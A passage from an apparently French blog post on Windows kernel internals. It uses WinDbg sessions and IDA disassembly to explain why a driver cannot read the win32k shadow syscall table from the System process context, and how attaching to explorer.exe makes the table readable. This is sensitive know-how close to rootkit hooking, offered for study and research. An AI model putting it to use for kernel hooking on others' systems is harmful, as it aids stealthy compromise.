00000000&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;kd&gt; dd nt!&lt;span style="font-weight: bold;"&gt;KeServiceDescriptorTableShadow &lt;/span&gt;l 0xC&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;80559b40  &lt;span style="font-weight: bold;"&gt;804e2d20 00000000 0000011c 804d8f48&lt;/span&gt;&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;80559b50  bf999400 00000000 0000029b bf99a110&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;80559b60  00000000 00000000 00000000 00000000&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;Les&lt;span style="font-weight: bold;"&gt; threads gui&lt;/span&gt; peuvent alors gérer les &lt;span style="font-weight: bold;"&gt;syscalls système&lt;/span&gt;, et les &lt;span style="font-weight: bold;"&gt;syscalls gui&lt;/span&gt; sans aller chercher les &lt;span style="font-weight: bold;"&gt;fonctions &lt;/span&gt;dans une autre &lt;span style="font-weight: bold;"&gt;table&lt;/span&gt;.&lt;br /&gt;&lt;span style="font-family:georgia;"&gt;Sans rentrer dans les &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;détails &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;de la &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;technique &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;(un &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;article &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;sortira &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;bientôt &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;concernant cette &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;technique&lt;/span&gt;&lt;span style="font-family:georgia;"&gt;), lorsque que mon &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;driver &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;tentait d'accéder au &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;tableau de pointeurs sur les fonctions syscalls de win32k&lt;/span&gt;&lt;span style="font-family:georgia;"&gt; et ben &lt;/span&gt;&lt;span style="font-style: italic; font-weight: bold;font-family:georgia;" &gt;BIM BOOOM %*&amp;amp;1&lt;/span&gt;&lt;span style="font-family:georgia;"&gt; écran &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;bleu &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:georgia;"&gt;Je sors alors mon kd :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;kd&gt; dd nt!&lt;span style="font-weight: bold;"&gt;KeServiceDescriptorTableShadow &lt;/span&gt;l 0x8&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;80559b40  804e2d20 00000000 0000011c 804d8f48&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;80559b50  &lt;span style="font-weight: bold;"&gt;bf999400 &lt;/span&gt;00000000 0000029b bf99a110&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;kd&gt; dds poi(nt!&lt;span style="font-weight: bold;"&gt;KeServiceDescriptorTableShadow&lt;/span&gt;+0x4*4)&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;&lt;span style="font-weight: bold;"&gt;bf999400  &lt;/span&gt;????????&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;bf999404  ????????&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;bf999408  ????????&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;bf99940c  ????????&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;bf999410  ????????&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;bf999414  ????????&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;bf999418  ????????&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;bf99941c  ????????&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;bf999420  ????????&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;bf999424  ????????&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-family:georgia;"&gt;Hmm l'espace mémoire parait comme &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;innexistant&lt;/span&gt;&lt;span style="font-family:georgia;"&gt;, et c'est là que le problème s'esquisse.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:georgia;"&gt;Tout ça parait plutôt floue, j'ai donc &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;potasser &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;un peu les &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;Windows internals&lt;/span&gt;&lt;span style="font-family:georgia;"&gt;, c'est donc à ce moment &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;là &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;que je découvre le &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;session space&lt;/span&gt;&lt;span style="font-family:georgia;"&gt; !&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:georgia;"&gt;On peux y lire :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote  style="font-family:georgia;"&gt;&lt;span style="font-style: italic;"&gt;Each session has a session-specific paged pool area used by the kernel-mode portion of the &lt;span style="font-weight: bold;"&gt;Windows subsystem&lt;/span&gt; (Win32k.sys) to &lt;span style="font-weight: bold;"&gt;allocate session-private GUI data structures&lt;/span&gt;. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;In addition, &lt;span style="font-weight: bold;"&gt;each session&lt;/span&gt; has its &lt;span style="font-weight: bold;"&gt;own copy&lt;/span&gt; of the &lt;span style="font-weight: bold;"&gt;Windows subsystem process (Csrss.exe)&lt;/span&gt; and &lt;span style="font-weight: bold;"&gt;logon process (Winlogon.exe)&lt;/span&gt;. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;The &lt;span style="font-weight: bold;"&gt;session manager process&lt;/span&gt; (Smss.exe) is responsible for &lt;span style="font-weight: bold;"&gt;creating new sessions&lt;/span&gt;, which includes loading a &lt;span style="font-weight: bold;"&gt;session-private copy of Win32k.sys&lt;/span&gt;, &lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;creating the session-private object manager namespace, and creating the session-specific instances of the Csrss and Winlogon processes.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;When a process is created, this range of addresses is mapped to the pages appropriate to the session that the process belongs to.&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:georgia;"&gt;Nous voilà avec &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;quelques pistes&lt;/span&gt;&lt;span style="font-family:georgia;"&gt;, on se rend compte alors que la &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;Shadow &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;n'est accessible &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;seulement &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;aux processus qui appartiennent à la dîtes &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;session&lt;/span&gt;&lt;span style="font-family:georgia;"&gt; ; autrement dit tous les &lt;span style="font-weight: bold;"&gt;threads&lt;/span&gt; de ces &lt;span style="font-weight: bold;"&gt;processus &lt;/span&gt;auront &lt;span style="font-weight: bold;"&gt;accès &lt;/span&gt;à cet table.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:georgia;"&gt;Cet à ce moment qu'il faut &lt;span style="font-weight: bold;"&gt;réfléchir &lt;/span&gt;un peu si l'on veut &lt;span style="font-weight: bold;"&gt;dégoter &lt;/span&gt;quelques informations &lt;span style="font-weight: bold;"&gt;intéressante &lt;/span&gt;; &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;on pourrait déjà regarder du coté du &lt;span style="font-weight: bold;"&gt;gestionnaire &lt;/span&gt;de &lt;span style="font-weight: bold;"&gt;sessions &lt;/span&gt;:&lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt; smss.exe&lt;/span&gt;&lt;span style="font-family:georgia;"&gt;, ensuite du driver &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;win32k.sys&lt;/span&gt; ..j'ai donc essayé de les analyser à la recherche d'infos plus ou moins pertinente&lt;span style="font-family:georgia;"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:georgia;"&gt;&lt;span style="font-weight: bold;"&gt;Smss.exe&lt;/span&gt; se charge à son initialisation de charger le driver &lt;span style="font-weight: bold;"&gt;win32k.sys&lt;/span&gt; :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;Main!smss.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt; -&gt; smss!SmpInit&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     -&gt; smss!SmpLoadDataFromRegistry&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;         -&gt; smss!SmpLoadSubSystemsForMuSession&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:485887B2                 push    offset aSystemrootSyst ; "\\SystemRoot\\System32\\win32k.sys"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:485887B7                 lea     eax, [ebp+DestinationString]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:485887BA                 push    eax             ; DestinationString&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:485887BB                 call    ds:__imp__RtlInitUnicodeString@8 ; RtlInitUnicodeString(x,x)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:485887C1                 push    8&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:485887C3                 lea     eax, [ebp+DestinationString]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:485887C6                 push    eax&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:485887C7                 push    26h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.text:485887C9                 call    edi ; NtSetSystemInformation(x,x,x) ; NtSetSystemInformation(x,x,x)&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;           &lt;/blockquote&gt;&lt;span style="font-family:georgia;"&gt;&lt;span style="font-weight: bold;"&gt;Smss.exe&lt;/span&gt; utilise une technique &lt;span style="font-weight: bold;"&gt;peu &lt;/span&gt;rencontré pour &lt;span style="font-weight: bold;"&gt;charger &lt;/span&gt;le driver, certains parle de "&lt;span style="font-weight: bold;"&gt;quick an dirty-way&lt;/span&gt;" (cf &lt;span style="font-weight: bold;"&gt;Suberving the windows kernel&lt;/span&gt;). Il suffit d'appeler &lt;span style="font-weight: bold;"&gt;NtSetSystemInformation &lt;/span&gt;avec l'argument &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;SystemLoadAndCallImage&lt;/span&gt; ainsi que le &lt;span style="font-weight: bold;"&gt;full path&lt;/span&gt; du driver.&lt;br /&gt;On parle de &lt;span style="font-weight: bold;"&gt;dirty way&lt;/span&gt;, tout simplement parce que le &lt;span style="font-weight: bold;"&gt;driver &lt;/span&gt;sera chargé dans une &lt;span style="font-weight: bold;"&gt;zone mémoire swappable&lt;/span&gt;, pour plus d'information &lt;span style="font-weight: bold;"&gt;chapitre 2&lt;/span&gt; du bouqin :).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:georgia;"&gt;Une fois le &lt;span style="font-weight: bold;"&gt;driver &lt;/span&gt;lancé, celui-ci va ajouter la &lt;span style="font-weight: bold;"&gt;SSDT shadow&lt;/span&gt; :&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;INIT:BF9AFF13                 push    offset _W32pArgumentTable&lt;br /&gt;INIT:BF9AFF18                 push    _W32pServiceLimit&lt;br /&gt;INIT:BF9AFF1E                 mov     _countTable, esi&lt;br /&gt;INIT:BF9AFF24                 push    esi&lt;br /&gt;INIT:BF9AFF25                 push    offset _W32pServiceTable&lt;br /&gt;INIT:BF9AFF2A                 call    ds:__imp__KeAddSystemServiceTable@20 ; KeAddSystemServiceTable(x,x,x,x,x)&lt;br /&gt;&lt;br /&gt;.data:BF999B00 _W32pServiceTable dd offset _NtGdiAbortDoc@4&lt;br /&gt;.data:BF999B04                   dd offset _NtGdiAbortPath@4 ; NtGdiAbortPath(x)&lt;br /&gt;.data:BF999B08                   dd offset _NtGdiAddFontResourceW@24 ; NtGdiAddFontResourceW(x,x,x,x,x,x)&lt;br /&gt;.data:BF999B0C                   dd offset _NtGdiAddRemoteFontToDC@16 ; NtGdiAddRemoteFontToDC(x,x,x,x)&lt;br /&gt;.data:BF999B10                   dd offset _NtGdiAddFontMemResourceEx@20 ; NtGdiAddFontMemResourceEx(x,x,x,x,x)&lt;br /&gt;.data:BF999B14                   dd offset _NtGdiRemoveMergeFont@8 ; NtGdiRemoveMergeFont(x,x)&lt;br /&gt;.data:BF999B18                   dd offset _NtGdiAddRemoteMMInstanceToDC@12 ; NtGdiAddRemoteMMInstanceToDC(x,x,x)&lt;br /&gt;.data:BF999B1C                   dd offset _NtGdiAlphaBlend@48 ; NtGdiAlphaBlend(x,x,x,x,x,x,x,x,x,x,x,x)&lt;br /&gt;[...]&lt;br /&gt;&lt;br /&gt;.data:BF99A810 _W32pArgumentTable db    4              ; DATA XREF: DriverEntry(x,x)+E4o&lt;br /&gt;.data:BF99A811                    db    4&lt;br /&gt;.data:BF99A812                    db  18h&lt;br /&gt;.data:BF99A813                    db  10h&lt;br /&gt;.data:BF99A814                    db  14h&lt;br /&gt;.data:BF99A815                    db    8&lt;br /&gt;.data:BF99A816                    db  0Ch&lt;br /&gt;.data:BF99A817                    db  30h&lt;br /&gt;[...]&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:georgia;"&gt;Avec ce &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;session space&lt;/span&gt;&lt;span style="font-family:georgia;"&gt; il y a donc une histoire d'&lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;espace &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;qui est &lt;span style="font-weight: bold;"&gt;accessible&lt;/span&gt;/&lt;span style="font-weight: bold;"&gt;existe&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:georgia;"&gt;, dans &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;certains contexte&lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt; &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;; en fait tous les &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;processus &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;d'une session voient cette &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;table&lt;/span&gt;&lt;span style="font-family:georgia;"&gt;, seul &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;system &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;ne peux y &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;accéder&lt;/span&gt;&lt;span style="font-family:georgia;"&gt; ; par &lt;span style="font-weight: bold;"&gt;analogie &lt;/span&gt;c'est comme un &lt;span style="font-weight: bold;"&gt;processus &lt;/span&gt;avec ses &lt;span style="font-weight: bold;"&gt;dlls&lt;/span&gt;, &lt;span style="font-weight: bold;"&gt;system &lt;/span&gt;serait un &lt;span style="font-weight: bold;"&gt;processus &lt;/span&gt;sans la &lt;span style="font-weight: bold;"&gt;dll &lt;/span&gt;Session space (c'est bien sûr une &lt;span style="font-weight: bold;"&gt;analogie&lt;/span&gt;, &lt;span style="font-weight: bold;"&gt;soyons d'accord&lt;/span&gt; :)) .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:georgia;"&gt;On peut &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;verifier &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;tout ça avec le &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;kd &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;; en premier lieu se placer dans le &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;contexte &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;du processus &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;System &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;(le cas de notre &lt;span style="font-weight: bold;"&gt;driver &lt;/span&gt;donc), et ce placer dans le &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;contexte &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;d'un tout autre processus :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;blockquote  style="font-family:courier new;"&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-size:85%;"&gt;kd&gt; !process 0 0&lt;br /&gt;**** NT ACTIVE PROCESS DUMP ****&lt;br /&gt;PROCESS &lt;span style="font-weight: bold;"&gt;817cc7c0  &lt;/span&gt;SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000&lt;br /&gt;DirBase: 00039000  ObjectTable: e1001cb0  HandleCount: 206.&lt;br /&gt;Image: System&lt;br /&gt;[..]&lt;br /&gt;kd&gt; .process /i &lt;span style="font-weight: bold;"&gt;817cc7c0  &lt;/span&gt;&lt;br /&gt;You need to continue execution (press 'g' &lt;enter&gt;) for the context&lt;br /&gt;to be switched. When the debugger breaks in again, you will be in&lt;br /&gt;the new process context.&lt;br /&gt;kd&gt; g&lt;br /&gt;Break instruction exception - code 80000003 (first chance)&lt;br /&gt;nt!RtlpBreakWithStatusInstruction:&lt;br /&gt;804e3b25 cc              int     3&lt;br /&gt;kd&gt; dds poi(nt!&lt;span style="font-weight: bold;"&gt;KeServiceDescriptorTableShadow&lt;/span&gt;+0x4*4)&lt;br /&gt;bf999400  &lt;span style="font-weight: bold;"&gt;????????&lt;/span&gt;&lt;br /&gt;bf999404  ????????&lt;br /&gt;bf999408  ????????&lt;/enter&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;kd&gt; !process 0 0&lt;br /&gt;**** NT ACTIVE PROCESS DUMP ****&lt;br /&gt;[..]&lt;br /&gt;PROCESS &lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;81549b28  &lt;/span&gt;&lt;span style="font-size:85%;"&gt;SessionId: 0  Cid: 05a8    Peb: 7ffdf000  ParentCid: 0588&lt;br /&gt;DirBase: 093c9000  ObjectTable: e1a74620  HandleCount: 346.&lt;br /&gt;Image: &lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;explorer.exe&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;[..]&lt;br /&gt;kd&gt; .process /i &lt;/span&gt;&lt;span style="font-weight: bold;font-size:85%;" &gt;81549b28&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;You need to continue execution (press 'g' &lt;enter&gt;) for the context&lt;br /&gt;to be switched. When the debugger breaks in again, you will be in&lt;br /&gt;the new process context.&lt;br /&gt;kd&gt; g&lt;br /&gt;Break instruction exception - code 80000003 (first chance)&lt;br /&gt;nt!RtlpBreakWithStatusInstruction:&lt;br /&gt;804e3b25 cc              int     3&lt;br /&gt;kd&gt; dds poi(nt!&lt;span style="font-weight: bold;"&gt;KeServiceDescriptorTableShadow&lt;/span&gt;+0x4*4)&lt;br /&gt;bf999400  bf9357a3 &lt;span style="font-weight: bold;"&gt;win32k!NtGdiAbortDoc&lt;/span&gt;&lt;br /&gt;bf999404  bf947361 &lt;span style="font-weight: bold;"&gt;win32k!NtGdiAbortPath&lt;/span&gt;&lt;br /&gt;bf999408  bf896625 &lt;span style="font-weight: bold;"&gt;win32k!NtGdiAddFontResourceW&lt;/span&gt;&lt;br /&gt;bf99940c  bf93ef25 &lt;span style="font-weight: bold;"&gt;win32k!NtGdiAddRemoteFontToDC&lt;/span&gt;&lt;br /&gt;bf999410  bf948978 &lt;span style="font-weight: bold;"&gt;win32k!NtGdiAddFontMemResourceEx&lt;/span&gt;&lt;br /&gt;[..]&lt;/enter&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:georgia;"&gt;J'ai donc &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;réaliser &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;une &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;fonction &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;qui permettait ça copie, celle-ci fonctionne plutôt &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;simplement&lt;/span&gt;&lt;span style="font-family:georgia;"&gt;, je m'&lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;attache &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;au processus &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;explorer.exe &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;(Il faut s'attacher à un &lt;span style="font-weight: bold;"&gt;processus &lt;/span&gt;qui sera lancé sur le &lt;span style="font-weight: bold;"&gt;systeme &lt;/span&gt;; j'ai pris &lt;span style="font-weight: bold;"&gt;explorer.exe&lt;/span&gt; comme j'aurais pu prendre &lt;span style="font-weight: bold;"&gt;calc.exe&lt;/span&gt;!)&lt;/span&gt;&lt;span style="font-family:georgia;"&gt;, et réalise la &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;copie normalement&lt;/span&gt; (vous verrez alors que mon &lt;span style="font-weight: bold;font-family:georgia;" &gt;ancienne &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;technique qui utilisait un &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;apc kernel &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;envoyé sur un &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;thread gui&lt;/span&gt;&lt;span style="font-family:georgia;"&gt; était &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;bien trop&lt;/span&gt;&lt;span style="font-family:georgia;"&gt; compliqué pour &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;pas grand chose&lt;/span&gt;&lt;span style="font-family:georgia;"&gt; :).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:georgia;"&gt;Sinon, on pourrait s'occuper de mapper &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;win32k.sys&lt;/span&gt;&lt;span style="font-family:georgia;"&gt; dans l'espace du &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;driver &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;en utilisant son &lt;span style="font-weight: bold;"&gt;adresse physique&lt;/span&gt; &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;avec des apis comme &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;MmMapIoSpace()&lt;/span&gt;&lt;span style="font-family:georgia;"&gt;, &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;il suffirait ensuite de &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;parser &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;le &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;pe &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;du binaire, pour atterrir dans la section &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;.data &lt;/span&gt;&lt;span style="font-family:georgia;"&gt;; où est stocké la &lt;/span&gt;&lt;span style="font-weight: bold;font-family:georgia;" &gt;SSDT Shadow&lt;/span&gt;&lt;span style="font-family:georgia;"&gt;.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;.data:BF999C00 ; Segment type: Pure data&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.data:BF999C00 ; Segment permissions: Read/Write&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.data:BF999C00 _data           segment para public 'DATA' use32&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.data:BF999C00                 assume cs:_data&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.data:BF999C00                 ;org 0BF999C00h&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.data:BF999C00 _W32pServiceTable dd offset _NtGdiAbortDoc@4&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.data:BF999C00                                         ; DATA XREF: DriverEntry(x,x)+F6o&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.data:BF999C00                                         ; NtGdiAbortDoc(x)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.data:BF999C04                 dd offset _NtGdiAbortPath@4 ; NtGdiAbortPath(x)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.data:BF999C08                 dd offset _NtGdiAddFontResourceW@24 ; NtGdiAddFontResourceW(x,x,x,x,x,x)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.data:BF999C0C                 dd offset _NtGdiAddRemoteFontToDC@16 ; NtGdiAddRemoteFontToDC(x,x,x,x)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.data:BF999C10                 dd offset _NtGdiAddFontMemResourceEx@20 ; NtGdiAddFontMemResourceEx(x,x,x,x,x)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.data:BF999C14                 dd offset _NtGdiRemoveMergeFont@8 ; NtGdiRemoveMergeFont(x,x)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.data:BF999C18                 dd offset _NtGdiAddRemoteMMInstanceToDC@12 ; NtGdiAddRemoteMMInstanceToDC(x,x,x)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.data:BF999C1C                 dd offset _NtGdiAlphaBlend@48 ; NtGdiAlphaBlend(x,x,x,x,x,x,x,x,x,x,x,x)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.data:BF999C20                 dd offset _NtGdiAngleArc@24 ; NtGdiAngleArc(x,x,x,x,x,x)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.data:BF999C24                 dd offset _NtGdiAnyLinkedFonts@0 ; NtGdiAnyLinkedFonts()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.data:BF999C28                 dd offset _NtGdiFontIsLinked@4 ; NtGdiFontIsLinked(x)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.data:BF999C2C                 dd offset _NtGdiArcInternal@40 ; NtGdiArcInternal(x,x,x,x,x,x,x,x,x,x)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;.data:BF999C30                 dd offset _NtGdiBeginPath@4 ; NtGdiBeginPath(x)&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;Un peu &lt;span style="font-weight: bold;"&gt;tricky&lt;/span&gt;, mais ça se tiens, &lt;span style="font-weight: bold;"&gt;seul &lt;/span&gt;problème c'est la &lt;span style="font-weight: 